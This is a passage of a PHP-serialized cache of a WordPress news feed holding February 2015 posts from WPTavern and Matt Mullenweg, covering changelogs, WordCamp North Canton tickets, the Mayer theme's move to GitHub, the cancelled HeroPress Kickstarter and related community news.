upcoming releases. Maintaining an &#8220;Unreleased&#8221; section  minimizes the effort of writing the logs at release time, as you can easily add the version number to the section as changes are added and create a new Unreleased header.</p>\n<h3>Software Tools Are for People</h3>\n<p>Lacan makes a strong case for prioritizing the creation of a changelog for your open source project:</p>\n<blockquote><p>Why should I care? Because software tools are for people. If you don’t care, why are you contributing to open source?</p></blockquote>\n<p>He hopes that the Keep a CHANGELOG project will help to shape a better CHANGELOG file convention for all open source projects. Discussions and suggestions are welcome in the <a href=\"https://github.com/olivierlacan/keep-a-changelog/issues\" target=\"_blank\">issues queue</a> of the project&#8217;s GitHub repository. Contributors have already logged more than two dozen considerations.</p>\n<p>WordPress.org offers some <a href=\"https://wordpress.org/news/2009/07/improving-your-plugin-changelogs/\" target=\"_blank\">basic tips for improving change logs</a>, but the official plugin directory doesn&#8217;t require developers to maintain a CHANGELOG file. Lacan&#8217;s <a href=\"http://keepachangelog.com/\" target=\"_blank\">Keep a CHANGELOG project</a> is a complementary resource that can help WordPress developers and all open source project managers to write better logs for users and contributors.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 16 Feb 2015 21:45:59 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:7;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:61:\"WPTavern: Tickets On Sale For WordCamp North Canton, OH, 2015\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=39054\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:69:\"http://wptavern.com/tickets-on-sale-for-wordcamp-north-canton-oh-2015\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2149:\"<p>&nbsp;</p>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/WCNorthCanton2015FeaturedImage.png\" rel=\"prettyphoto[39054]\"><img class=\"aligncenter size-full wp-image-39055\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/WCNorthCanton2015FeaturedImage.png?resize=650%2C314\" alt=\"WordCamp North Canton 2015 Featured Image\" /></a>Tickets are <a title=\"http://northcanton.wordcamp.org/2015/tickets/\" href=\"http://northcanton.wordcamp.org/2015/tickets/\">on sale</a> for the 3rd annual, WordCamp North Canton, OH, May 8th-9th. Tickets are available for Friday and Saturday, Friday only, or Saturday only. <span class=\"tix-ticket-excerpt\">Friday features a full day of learning split between entrepreneur and WordPress sessions. Saturday is a full day of WordPress sessions with breakfast and lunch included in the ticket price. Ticket prices are as follows:</span></p>\n<ul>\n<li>$30 Friday and Saturday</li>\n<li>$20 Friday only</li>\n<li>$20 Saturday only</li>\n</ul>\n<p>The event takes place on the <a title=\"http://www.starkstate.edu/\" href=\"http://www.starkstate.edu/\">Stark State College campus</a> within the business and entrepreneurial center. As I <a title=\"http://wptavern.com/recap-of-wordcamp-north-canton-2014\" href=\"http://wptavern.com/recap-of-wordcamp-north-canton-2014\">mentioned last year</a>, the venue has high-speed internet so WiFi shouldn&#8217;t be a problem. Joe Rozsa, who is helping to organize the event, says lunch will be provided by <a title=\"http://www.solpiepizza.com/\" href=\"http://www.solpiepizza.com/\">SOL Pie Pizza</a>, formerly known as <a title=\"http://ermannospizza.com/\" href=\"http://ermannospizza.com/\">Ermannos Pizza</a>.</p>\n<p>Speakers have yet to be confirmed, but I&#8217;ll be participating on a panel discussion on <a title=\"http://wordpress.tv/2014/02/14/chris-lema-escaping-the-impostor-syndrome/\" href=\"http://wordpress.tv/2014/02/14/chris-lema-escaping-the-impostor-syndrome/\">imposter syndrome</a>. We&#8217;re going to share our experiences battling the syndrome on a daily basis and give advice on how to avoid its influence. Let me know if you plan on attending.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 16 Feb 2015 20:18:43 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:8;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:26:\"Matt: Jonathan Ive Profile\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44703\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:42:\"http://ma.tt/2015/02/jonathan-ive-profile/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2030:\"<blockquote><p>Jobs’s taste for merciless criticism was notorious; Ive recalled that, years ago, after seeing colleagues crushed, he protested. Jobs replied, “Why would you be vague?,” arguing that ambiguity was a form of selfishness: “You don’t care about how they feel! You’re being vain, you want them to like you.” Ive was furious, but came to agree. “It’s really demeaning to think that, in this deep desire to be liked, you’ve compromised giving clear, unambiguous feedback,” he said. He lamented that there were “so many anecdotes” about Jobs’s acerbity: “His intention, and motivation, wasn’t to be hurtful.”</p></blockquote>\n<p>Your one #longread today should be <a href=\"http://www.newyorker.com/magazine/2015/02/23/shape-things-come\">the New Yorker&#8217;s profile of Jonathan Ive</a> by Ian Parker. This anecdote resonated with me from the time I (poorly) did design for a living, and how much patience and stoicism are part of the job when working with a deciding stakeholder, often known as a client:</p>\n<blockquote><p>Bob Mansfield, a former senior hardware engineer at Apple, who is now semi-retired, recently described the pique that some colleagues felt about Ive’s privileged access. As he put it, “There’s always going to be someone vying for Dad’s attention.” But Mansfield was grateful for Ive’s cool handling of a C.E.O. who was “not the easiest guy to please.” Mansfield’s view was “Jony puts up with a lot, and, as a result of him doing it, people like me don’t have to.”</p></blockquote>\n<p>This also made me giggle.</p>\n<blockquote><p>Brunner is proud of the Beats brand, but it took him time to adjust to a design rhythm set as if for a sneaker company: “Originally, I hated it—‘Let’s do a version in the L.A. Lakers’ colors!’ ” He laughed. “ ‘Great. Purple and yellow. <em>Fantastic</em>.’ ”</p></blockquote>\n<p><a href=\"http://www.newyorker.com/magazine/2015/02/23/shape-things-come\">Check out the entire thing</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 16 Feb 2015 16:01:51 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:9;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"Matt: Pollan on Psychedelics\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44682\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:44:\"http://ma.tt/2015/02/pollan-on-psychedelics/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:643:\"<p>To make it a full New Yorker weekend, here&#8217;s a <a href=\"http://longreads.com/\">longread</a> from <a href=\"http://michaelpollan.com/\">Michael Pollan</a>, best known for his book <a href=\"http://michaelpollan.com/books/the-omnivores-dilemma/\">Omnivore&#8217;s Dilemma</a>, on <a href=\"http://www.newyorker.com/magazine/2015/02/09/trip-treatment\">the reopened research on the potential therapeutic uses of psychedelics</a>. While we&#8217;re on Pollan it&#8217;s worth repeating his advice from <a href=\"http://michaelpollan.com/books/food-rules/\">Food Rules</a>, <strong>&#8220;Eat food, not too much, mostly plants.&#8221;</strong></p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 16 Feb 2015 00:54:00 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:10;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:27:\"Matt: Ex Girlfriend Meeting\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44667\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:43:\"http://ma.tt/2015/02/ex-girlfriend-meeting/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:350:\"<p>Since it&#8217;s Valentine&#8217;s day, here&#8217;s a little humor from the New Yorker&#8217;s Hallie Cantor: <a href=\"http://www.newyorker.com/humor/daily-shouts/imagine-boyfriends-ex-girlfriends-right-now\">What I Imagine My Boyfriend’s Ex-Girlfriends Are Doing Right Now</a>. (That the character is named Matt is completely coincidental.)</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sat, 14 Feb 2015 18:20:00 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:11;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"WPTavern: Mayer WordPress Theme is Now Open Source on GitHub\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38975\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:70:\"http://wptavern.com/mayer-wordpress-theme-is-now-open-source-on-github\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:5274:\"<p>Tom McFarlin released his <a href=\"https://github.com/pressware/mayer\" target=\"_blank\">Mayer WordPress theme on GitHub</a> today. The theme was designed with writers, bloggers, and authors in mind and was previously only <a href=\"https://theme.wordpress.com/themes/mayer/\" target=\"_blank\">available to WordPress.com users for $79</a>.</p>\n<p>Mayer is unique in that it was created to get users writing immediately, without having a bunch settings pages or additional widgets to configure. Content in the post editor is styled to match the front end, so users don&#8217;t need to leave the editor in order to see how it&#8217;s going to look.</p>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/mayer-for-wordpress-1024x819.png\" rel=\"prettyphoto[38975]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/mayer-for-wordpress-1024x819.png?resize=1024%2C819\" alt=\"mayer-for-wordpress-1024x819\" class=\"aligncenter size-full wp-image-39004\" /></a></p>\n<p>Technically, the theme is already open source in terms of its licensing. However, up until this point, it was only distributed commercially via WordPress.com. McFarlin has written <a href=\"https://tommcfarlin.com/open-source-wordpress-themes/\" target=\"_blank\">several</a> <a href=\"https://tommcfarlin.com/mayer-for-wordpress-now-on-github/\" target=\"_blank\">posts</a> about how he came to the decision to make his products freely available on GitHub. He cites collaboration and accountability as the driving factors in his decision:</p>\n<p>&#8220;The advantage to this means that all of the work that the team and I have backlogged for this project (and for future projects) is publicly visible if for no other reason than for accountability,&#8221; he said. &#8220;Ideally though, we’d be able to benefit from the open source community that comes in the form of code reviews, pull requests, or just general conversations to help make the core product better.&#8221;</p>\n<h3>Free Products ≠ Free Support</h3>\n<p>Any theme or plugin author who decides to distribute a product for free will inevitably find the burden of support knocking at the door. It&#8217;s important to specify how much support, if any, is included for users who are receiving a product for free.</p>\n<p>&#8220;If the code itself falls under an open source license, then I’m willing to make the code freely available,&#8221; McFarlin said. <strong>&#8220;This does not mean that I’m willing to support the code base for those who haven’t paid, but that leads into an entirely different discussion.&#8221;</strong></p>\n<p>McFarlin will continue to sell the Mayer theme through his <a href=\"http://shop.pressware.co/mayer/\" target=\"_blank\">Pressware shop</a>. The $99/year price tag offers users professional support for a year.</p>\n<p>&#8220;To be clear, I’m not attempting yet-another-way to monetize or popularize a theme in hopes of making money,&#8221; McFarlin said. &#8220;The short of it is that the theme will sell given the right marketplace. If someone wants to freely use the theme, that’s fine – why not? After all, it may result in some pull requests or other issues that will improve the core theme.&#8221;</p>\n<p>Based on his experience navigating user expectations from open source software, McFarlin believes that there is no escaping the issue of support.</p>\n<p>&#8220;<span class=\"pullquote alignleft\">I think that if you’re in the business of WordPress products (versus services), you’re in the support business whether you intend to be or not.</span> Everything that you release – regardless of where the transaction actually happens – is going to yield support from some of the customers,&#8221; he said.</p>\n<p>&#8220;In order to gain access to said support, the transaction just moves back one step from after accessing the source code rather than before accessing the source code.&#8221;</p>\n<p>This model is almost entirely the opposite of the larger theme marketplaces, such as Themeforest, where the customer has no option to preview the code or have a developer preview the code before purchasing the product. It&#8217;s essentially a blind purchase in hopes that you won&#8217;t have to ask for too much support.</p>\n<p>McFarlin is banking on the fact that users who need professional support will be willing to pay for it. <a href=\"http://themehybrid.com/\" target=\"_blank\">Theme Hybrid</a> is one notable shop that has pioneered this model for years, offering all of its open source products for free and charging for paid support. WordPress.com does something similar, with many of its free themes mirrored on WordPress.org. Pressware is moving in a similar direction and will be creating a products division to further experiment with the model. McFarlin plans to put more work up on GitHub in the future and will continue to write about his experience.</p>\n<p>The vast majority of WordPress theme developers have not experimented with this distribution model. For the most part, theme shops sell their products and free versions, if offered, are only available with a limited set of features. McFarlin hopes to prove that in an open source marketplace, a business can successfully sell support for a product that it&#8217;s already giving away for free.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 23:56:30 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:12;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"WPTavern: Excellent Primer on the WordPress REST API Project\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=39010\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:70:\"http://wptavern.com/excellent-primer-on-the-wordpress-rest-api-project\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1981:\"<a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/WordPressRestAPIPrimerFeaturedImage.png\" rel=\"prettyphoto[39010]\"><img class=\"size-full wp-image-39017\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/WordPressRestAPIPrimerFeaturedImage.png?resize=655%2C327\" alt=\"Rest API Primer Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/22280677@N07/3349296482\">The Poor Man&#8217;s Racehorse?</a> &#8211; <a href=\"https://creativecommons.org/licenses/by-nd/2.0/\">(license)</a>\n<p>In the past two years, there&#8217;s been a lot of discussion surrounding the <a title=\"https://github.com/WP-API/WP-API\" href=\"https://github.com/WP-API/WP-API\">WordPress REST API project</a>. If you&#8217;re not familiar with it, Brian Krogsgard <a title=\"https://poststatus.com/wordpress-json-rest-api/\" href=\"https://poststatus.com/wordpress-json-rest-api/\">published a great article</a> that explains what it is, how to get involved, and the possibilities it opens up to developers. Krogsgard believes the REST API is &#8220;the most exciting project for the platform since custom post types were introduced in WordPress 2.9 and 3.0.&#8221;</p>\n<p>While the article does a good job explaining what the API is, I find it to be developer heavy for my understanding. I think it&#8217;s a project that I won&#8217;t truly understand how great it is until I use products built with it.</p>\n<p>For additional information, read our <a title=\"http://wptavern.com/ryan-mccue-on-creating-the-json-rest-api-for-wordpress\" href=\"http://wptavern.com/ryan-mccue-on-creating-the-json-rest-api-for-wordpress\">interview from 2013 with Ryan McCue</a>, project lead for the WordPress REST API. In the interview, McCue explains why the API is such a big deal and lists a few practical use cases. There&#8217;s also a great presentation from WordCamp San Francisco 2014 by Sam Hotchkiss, that explains how APIs like the REST API are changing the internet.</p>\n<p></p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 22:46:01 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:13;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:92:\"WPTavern: HeroPress Fails to Attract Backers, Cancels Kickstarter Campaign Ahead of Deadline\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38963\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:101:\"http://wptavern.com/heropress-fails-to-attract-backers-cancels-kickstarter-campaign-ahead-of-deadline\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2467:\"<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/heropress-funding-canceled.jpg\" rel=\"prettyphoto[38963]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/heropress-funding-canceled.jpg?resize=1008%2C392\" alt=\"heropress-funding-canceled\" class=\"aligncenter size-full wp-image-38973\" /></a></p>\n<p>Topher DeRosia, creator of <a href=\"http://wptavern.com/heropress-launches-kickstarter-campaign-to-highlight-wordpress-developers\" target=\"_blank\">HeroPress</a>, <a href=\"http://heropress.com/cancelling-kickstarter-1/\" target=\"_blank\">announced</a> today that he is canceling the project&#8217;s Kickstarter campaign. During the past few weeks, the project attracted 33 backers who pledged $21,855 of the $60,000 AUD goal. When it became clear that the fundraiser was hopelessly behind on reaching its goal, DeRosia canceled the funding three days ahead of its deadline.</p>\n<blockquote><p>The Kickstarter contributors were great. The verbal and public support of people were wonderful.  And lastly the naysayers were welcome and useful.  With very few exceptions our detractors enhanced what we were doing, and I appreciate it.</p></blockquote>\n<p>HeroPress encountered no small amount of resistance from those who either didn&#8217;t support the concept or didn&#8217;t appreciate the approach. The project&#8217;s mission was to “develop the WordPress heroes of the world by sharing the accumulated wisdom of the community.” HeroPress&#8217; communication strategy failed to communicate the mission of the project and struggled to identify practical goals, apart from creating videos to inspire community members.</p>\n<p>DeRosia attempted to further clarify the mission of the project through <a href=\"https://www.kickstarter.com/projects/heropress/heropress-developing-the-wordpress-heroes-of-the-w/posts\" target=\"_blank\">short interviews with potential speakers</a> and supporters. Unfortunately, the video updates didn&#8217;t adequately represent the quality of videos that the HeroPress creator hoped to deliver on his $60,000 AUD budget for the project.</p>\n<p>&#8220;Our plan at this point is to huddle and make a new plan and give it another shot,&#8221; DeRosia said. &#8220;We’ve learned an enormous amount about our audience, their needs, and our capabilities.&#8221; He plans to continue HeroPress with a new, more cost-effective approach that will better address the needs the project was created to solve.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 13 Feb 2015 20:19:23 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:14;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:49:\"WPTavern: DevPress Retires Its Best Selling Theme\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38968\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:59:\"http://wptavern.com/devpress-retires-its-best-selling-theme\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4439:\"<p>Devin Price, who owns and operates the WordPress commercial theme shop <a title=\"https://devpress.com/\" href=\"https://devpress.com/\">DevPress</a>, <a title=\"https://devpress.com/zelda-released-zenith-retired/\" href=\"https://devpress.com/zelda-released-zenith-retired/\">announced</a> that he is retiring his best selling theme, <a title=\"https://devpress.com/demo/zenith\" href=\"https://devpress.com/demo/zenith\">Zenith</a>. I asked Price why he&#8217;s retiring his best product.</p>\n<p>&#8220;Retirement may not be the best term. It&#8217;s more like introducing the new year&#8217;s model and stopping production on the previous one. The designs match pretty close, but there were a lot of under the hood updates I wanted to do that would have broken child themes and created compatibility issues for existing customers.&#8221;</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/DevPressZeldaTheme.png\" rel=\"prettyphoto[38968]\"><img class=\"size-full wp-image-38970\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/DevPressZeldaTheme.png?resize=880%2C660\" alt=\"Zelda 